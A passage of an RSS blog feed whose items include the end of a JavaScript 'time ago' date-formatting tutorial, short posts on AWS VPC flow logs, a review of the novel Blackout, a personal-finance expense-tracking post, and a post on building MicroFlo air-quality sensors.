&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token template-string"&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; day &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;. &lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; month &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt; at &lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; hours &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;:&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; minutes &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// 10. January 2017. at 10:20&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token template-string"&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; day &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;. &lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; month &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt; &lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; year &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;. at &lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; hours &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;:&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; minutes &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// --- Main function&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;function&lt;/span&gt; &lt;span class="token function"&gt;timeAgo&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token parameter"&gt;dateParam&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token operator"&gt;!&lt;/span&gt;dateParam&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token keyword null nil"&gt;null&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; date &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;typeof&lt;/span&gt; dateParam &lt;span class="token operator"&gt;===&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;object&amp;#x27;&lt;/span&gt; &lt;span class="token operator"&gt;?&lt;/span&gt; dateParam &lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token keyword"&gt;new&lt;/span&gt; &lt;span class="token class-name"&gt;Date&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;dateParam&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token constant"&gt;DAY_IN_MS&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token number"&gt;86400000&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// 24 * 60 * 60 * 1000&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; today &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;new&lt;/span&gt; &lt;span class="token class-name"&gt;Date&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; yesterday &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;new&lt;/span&gt; &lt;span class="token class-name"&gt;Date&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;today &lt;span class="token operator"&gt;-&lt;/span&gt; &lt;span class="token constant"&gt;DAY_IN_MS&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; seconds &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token known-class-name class-name"&gt;Math&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;round&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;today &lt;span class="token operator"&gt;-&lt;/span&gt; date&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;/&lt;/span&gt; &lt;span class="token number"&gt;1000&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; minutes &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token known-class-name class-name"&gt;Math&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;round&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;seconds &lt;span class="token operator"&gt;/&lt;/span&gt; &lt;span class="token number"&gt;60&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; isToday &lt;span class="token operator"&gt;=&lt;/span&gt; today&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;toDateString&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;===&lt;/span&gt; date&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;toDateString&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; isYesterday &lt;span class="token operator"&gt;=&lt;/span&gt; yesterday&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;toDateString&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;===&lt;/span&gt; date&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;toDateString&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; isThisYear &lt;span class="token operator"&gt;=&lt;/span&gt; today&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getFullYear&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;===&lt;/span&gt; date&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getFullYear&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;seconds &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt; &lt;span class="token number"&gt;5&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;now&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;else&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;seconds &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt; &lt;span class="token number"&gt;60&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token template-string"&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; seconds &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt; seconds ago&lt;/span&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;else&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;seconds &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt; &lt;span class="token number"&gt;90&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;about a minute ago&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;else&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;minutes &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt; &lt;span class="token number"&gt;60&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token template-string"&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; minutes &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt; minutes ago&lt;/span&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;else&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;isToday&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token function"&gt;getFormattedDate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;date&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;Today&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// Today at 10:20&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;else&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;isYesterday&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token function"&gt;getFormattedDate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;date&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;Yesterday&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// Yesterday at 10:20&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;else&lt;/span&gt; &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;isThisYear&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token function"&gt;getFormattedDate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;date&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token boolean"&gt;false&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token boolean"&gt;true&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// 10. January at 10:20&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token function"&gt;getFormattedDate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;date&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// 10. January 2017. at 10:20&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="demo"&gt;Demo &lt;a class="anchor-link" href="#demo"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Update, August 2020&lt;/em&gt;&lt;/p&gt;
&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 28 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/javascript-time-ago-function/</guid></item><item><title>Analyzing AWS VPC Flow Logs using Apache Parquet Files and Amazon Athena</title><link>/posts/2018-02-27-analyzing-aws-vpc-flow-logs-using-apache-parquet-files-and-amazon-athena/</link><description>Originally appeared on Opsgenie Engineering Blog
 Network security is an essential topic for companies, as a compromised network is a direct threat to both users and the applications. The easiest way to maintain security is just blocking the unauthorized activity or only allowing the predetermined traffic. For instance, if you have an Elasticsearch cluster, there is no need to open ports other than 9200 and 9300 to your applications.</description><author>Mustafa Akın</author><pubDate>Tue, 27 Feb 2018 17:01:01 GMT</pubDate><guid isPermaLink="true">/posts/2018-02-27-analyzing-aws-vpc-flow-logs-using-apache-parquet-files-and-amazon-athena/</guid></item><item><title>Humans don't come with lore tabs</title><link>https://utf9k.net/blog/lore-tabs/</link><description>Stories are fascinating but speed running them is a recipe for trouble</description><author>utf9k</author><pubDate>Tue, 27 Feb 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://utf9k.net/blog/lore-tabs/</guid></item><item><title>Blackout by Marc Elsberg</title><link>https://ilearnt.com/blog/blackout/</link><description>&lt;p&gt;This story documents one scenario that could happen when the nightmare happens of a massive power cut across Europe. It starts with a number of threads and weaves them well together. It follows an Italian as he realizes it is a terrorist attack on the smart power meters. This destabilizes the power grid which takes down most of the grid across Europe. A second attack targets the power plants. This leads to a power cut across Europe that lasts days and the storyline of how they track down the cause and the perpetrators.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 26 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/blackout/</guid></item><item><title>Reducing the team size to deliver</title><link>https://ilearnt.com/blog/reducingteamsize/</link><description>&lt;p&gt;A project was struggling to deliver in time and the project manager resolved it by reducing the team size where the typical approach is to increase the team size. This decision was based on the overhead of communication and Brooks Law.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 26 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/reducingteamsize/</guid></item><item><title>What Tracking My Expenses for a Year Taught Me About Personal Finance</title><link>/tracking-personal-finance/</link><description>&lt;p&gt;2017 was the year I tracked my finances. I started doing this because I wanted to remove the mystery of where my money was going. I wasn’t overspending per se, but found it challenging to know exactly what I had spent across credit cards, debit cards, cash, etc.&lt;/p&gt;
&lt;p&gt;Although there are a lot of personal expense tracking software, uncharacteristically, I chose a low tech option — a simple &lt;a href="https://www.google.com/sheets/about/"&gt;Google Sheet&lt;/a&gt;. I then have a tab for each month and columns to track the Date, Shop, Amount, Notes and then a category of the expense (I have the option of fuel, entertainment, food, shopping, gifts and other).&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2000/1*xHO8TCWzWqaSueqOiEELQw.jpeg" /&gt;&lt;/p&gt;
&lt;p&gt;Now we’re in 2018, I now tracked my specific expenses for over a year. Here is what I’ve learnt.&lt;/p&gt;
&lt;h2&gt;Money isn’t going where you think&lt;/h2&gt;
&lt;p&gt;Ok sure, you might have a rough idea. But how much did you spend on lunches last month? For me, it was &lt;strong&gt;way&lt;/strong&gt; more than I expected. Whilst, how much I spent on fuel was a lot less. This enabled me to adjust my budget accordingly and also be more mindful of spending in those areas. It’s all well and good to *say *you have a budget, but are you really sticking to it?&lt;/p&gt;
&lt;p&gt;In my case, I wasn’t, but that’s not a problem. Now I have the data, I can make informed decisions about where my money is going.&lt;/p&gt;
&lt;p&gt;It also enables me to plan around larger spending that may happen on an annual basis. Car tax for example is something I pay yearly, however, in my budget it is included as a monthly expense. I then put this money into a specific account that I can later use on that date. I apply the same principle for clothing as again, it is something I do bi-monthly rather than specifically each month.&lt;/p&gt;
&lt;h2&gt;The bank should work for me&lt;/h2&gt;
&lt;p&gt;A common misconception, at least one that I believed, is that banks do not really owe you anything. They do! My previous bank that I had held for the previous 8 years paid me very low interest and didn’t offer any other benefits. I then started searching other bank accounts and found many paid 5% interest (&lt;a href="https://www.nationwide.co.uk/products/current-accounts/flexdirect/features-and-benefits"&gt;Nationwide Flexdirect&lt;/a&gt;), or offered store points when you use them (&lt;a href="https://www.tescobank.com/current-accounts/"&gt;Tesco Current account&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The other misconception I had was that it would be difficult to change accounts. Most banks in the UK will be registered with the &lt;a href="https://www.currentaccountswitch.co.uk/Pages/Home.aspx"&gt;current account switching service&lt;/a&gt; which means they handle transferring direct debits, standing orders and forward any incoming funds to your old account to the new account. This process usually takes 7 days.&lt;/p&gt;
&lt;p&gt;I personally have it setup so I get paid into 1 bank account and then have standing orders out to all my other accounts (saving, spending etc). This enables me to switch bank account a lot with relatively low friction. Changing regularly does negatively affect my credit score but since I am not applying for a mortgage or loan any time soon then this is not an issue (and by the time I want to, it will have improved).&lt;/p&gt;
&lt;p&gt;The point is, don’t just stay with your current bank. &lt;a href="https://www.moneysavingexpert.com/banking/compare-best-bank-accounts"&gt;Martin Lewis keeps a great updated list&lt;/a&gt; of the best bank accounts and breaks down their details as well as all the ins-and-outs of qualifying for them.&lt;/p&gt;
&lt;h2&gt;Automation is key&lt;/h2&gt;
&lt;p&gt;Without doubt the best thing I did to optimize my finances this year was putting it on autopilot. Finances and money I find interesting but, all in all, they are a drab subject. By automating everything, I am free of an ambiguity about where money is going or will go and I don’t need to spend my own time dealing with it manually.&lt;/p&gt;
&lt;p&gt;Here’s what happens when my paycheck comes in:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Credit cards are paid&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bills are paid&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Standing orders send money to my spending account, saving(s) accounts and ISA — I would recommend setting up different “pots” as I spoke about earlier for different financial jobs. For example I have an account for my emergency fund, one for car fuel, one for annual car expenses (tax and insurance) and another for general saving (I use a bank that allows me to create “pots” within this account for holidays and any other items I am saving for).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Money left in my primary bank account (the one that gets the paycheck) is left until the end of the month and then moved into my savings account.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;My investments are also all automated as I use a service called Nutmeg to balance my portfolio according to my risk profile.&lt;/p&gt;
&lt;p&gt;If you struggle with setting aside money to save, try a service such as &lt;a href="https://www.moneyboxapp.com/"&gt;Moneybox&lt;/a&gt; which takes weekly deposits from your account as well as rounding up change from purchases.&lt;/p&gt;
&lt;h2&gt;Any other tips that you use?&lt;/h2&gt;
&lt;p&gt;Comment below or tweet me with any other personal finance advice you’ve applied. I’m not a qualified finance professional by any stretch of the imagination, so your circumstances may vary, but overall the principles of automation and tracking you money can be utilized no matter what your situation. By applying the advice above, I have been able to stick strictly to my spending budget, increase my savings and pay off my debts — and you can do that too. All it takes is an free afternoon and a memory of all those internet banking passwords.&lt;/p&gt;</description><author/><pubDate>Mon, 26 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">/tracking-personal-finance/</guid></item><item><title>MicroFlo and IoT: measuring air quality</title><link>https://bergie.iki.fi/blog/microflo-particulate-sensors/</link><description>&lt;p&gt;Fine particulate matter is a serious issue in many cities around the world. In Europe, it is &lt;a href="https://ec.europa.eu/jrc/en/news/air-quality-atlas-europe-mapping-sources-fine-particulate-matter"&gt;estimated to cause&lt;/a&gt; 400.000 premature deaths per year. European Union has published standards on the matter, and warned several countries that haven’t been able to reach the safe limits.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Germany saw the highest number of deaths attributable to all air pollution sources, at 80,767. It was followed by the United Kingdom (64,351) and France (63,798). These are also the most populated countries in Europe. (source: &lt;a href="http://www.dw.com/en/air-pollution-kills-half-a-million-people-in-europe-eu-agency-reports/a-40920041"&gt;DW&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The associated health issues don’t come cheap: 20 billion euros per year on health costs alone.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“To reduce this figure we need member states to comply with the emissions limits which they have agreed to,” Schinas said. “If this is not the case the Commission as guardian of the (founding EU) treaty will have to take appropriate action,” he added. (source: &lt;a href="https://phys.org/news/2018-01-eu-summons-france-germany-uk.html"&gt;phys.org&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;One part of solving this issue is better data. Government-run measurement stations are quite sparse, and — in some countries — their published results can be unreliable. To solve this, &lt;a href="https://okfn.de/en/"&gt;Open Knowledge Foundation Germany&lt;/a&gt; started the &lt;a href="https://luftdaten.info/"&gt;luftdaten.info&lt;/a&gt; project to crowdsource air pollution data around the world.&lt;/p&gt;



&lt;p&gt;Last saturday we hosted a luftdaten.info workshop at &lt;a href="https://c-base.org/"&gt;c-base&lt;/a&gt;, and used the opportunity to build and deploy some particulate matter sensors. While &lt;a href="https://luftdaten.info/en/construction-manual/"&gt;luftdaten.info has a great build guide&lt;/a&gt; and we used their parts list, we decided to go with a &lt;a href="https://github.com/c-base/microflo-luftdaten"&gt;custom firmware&lt;/a&gt; built with MicroFlo and integrated with the existing IoT network at c-base.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Building an air quality sensor" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/luftdaten-sensor-workshop2.jpg" /&gt;&lt;/p&gt;

&lt;h2 id="microflo-on-esp8266"&gt;MicroFlo on ESP8266&lt;/h2&gt;

&lt;p&gt;&lt;a href="http://microflo.org/"&gt;MicroFlo&lt;/a&gt; is a flow-based programming runtime targeting microcontrollers. Just like NoFlo graphs run inside a browser or Node.js, the MicroFlo graphs run on an Arduino or other compatible device. The result of a MicroFlo build is a firmware that can be flashed on a microcontroller, and which can be live-programmed using tools like &lt;a href="https://flowhub.io/iot/"&gt;Flowhub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;ESP8266 is an Arduino-compatible microcontroller with integrated WiFi chip. This means any sensors or actuators on the device can easily connect to other systems, like we do with &lt;a href="https://github.com/c-base/c-flo/tree/master/devices"&gt;lots of different sensors&lt;/a&gt; already at c-base.&lt;/p&gt;

&lt;p&gt;&lt;img alt="ESP8266 sensor in preparation" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/luftdaten-sensor-esp8266.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;MicroFlo &lt;a href="https://github.com/microflo/microflo/blob/master/CHANGES.md#microflo-063"&gt;recently added&lt;/a&gt; a feature where Wifi-enabled MicroFlo devices can automatically connect with a MQTT message queue and expose their in/outports as queues there. This makes MicroFlo on an ESP8266 a fully-qualified &lt;a href="https://msgflo.org/"&gt;MsgFlo participant&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="building-the-firmware"&gt;Building the firmware&lt;/h2&gt;

&lt;p&gt;We wanted to build a firmware that would periodically read both the DHT22 temperature and humidity sensor, and the SDS011 fine particulate sensor, even out the readings with a running median, and then send the values out at a specified interval. MicroFlo’s &lt;a href="https://github.com/microflo/microflo-core"&gt;core library&lt;/a&gt; already provided most of the building blocks, but we had to write &lt;a href="https://github.com/c-base/microflo-luftdaten/tree/master/components"&gt;custom components&lt;/a&gt; for dealing with the sensor hardware.&lt;/p&gt;

&lt;p&gt;Thankfully Arduino libraries existed for both sensors, and this was just a matter of wrapping those to the MicroFlo component interface.&lt;/p&gt;

